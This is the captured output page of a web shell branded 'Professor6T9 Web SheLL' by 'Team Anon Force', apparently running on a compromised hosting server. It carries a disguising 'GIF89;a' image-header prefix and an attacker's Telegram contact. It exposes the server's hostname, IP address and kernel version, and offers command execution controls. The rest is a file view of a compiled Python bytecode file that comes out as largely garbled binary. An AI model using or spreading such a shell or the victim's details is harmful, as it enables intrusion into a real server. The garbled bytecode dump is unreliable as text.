GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux 98.35.109.208.host.secureserver.net 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
Apache
208.109.35.98
/
opt
/
python38
/
lib
/
python3.8
/
idlelib
/
__pycache__
[ HOME ]
Exec
Submit
File Name : hyperparser.cpython-38.pyc
U "����� @ s� d Z ddlmZ ddlZddlmZ eejej d �Z eejd �Z dd� ed�D �Zd d� ed�D �Z G d d� d�Zedkr�dd lmZ eddd� dS )z�Provide advanced parsing abilities for ParenMatch and other extensions. HyperParser uses PyParser. PyParser mostly gives information on the proper indentation of code. HyperParser gives additional information on the structure of code. � )� iskeywordN)�pyparse�_c C s g | ]}t |�tk�qS � )�chr�_ASCII_ID_CHARS��.0�xr r �2/opt/python38/lib/python3.8/idlelib/hyperparser.py� <listcomp> s r � c C s g | ]}t |�tk�qS r )r �_ASCII_ID_FIRST_CHARSr r r r r s c @ s\ e Zd Zdd� Zdd� Zdd� Zdd� Zddd�Zed ddh�Z e dd� �ZdZdd� Z dS )�HyperParserc sH |� _ |j � _}t�|j|j�}dd� }||�|��}|js�|jD ]`}t || d�}t |�d } d| } |�|�| | �d � |� |�| ��}|dk s�|dkrD q�qD|�|p�d� nF|�d |�}|r�|d } nd } d| } |�|�| | �d � |�d� |jdd� � _| � _|�� � _� fdd �tt� j��D �� _� �|� dS )z;To initialize, analyze the surroundings of the given index.c S s t t| ��S )N)�int�float)�indexr r r � index2line"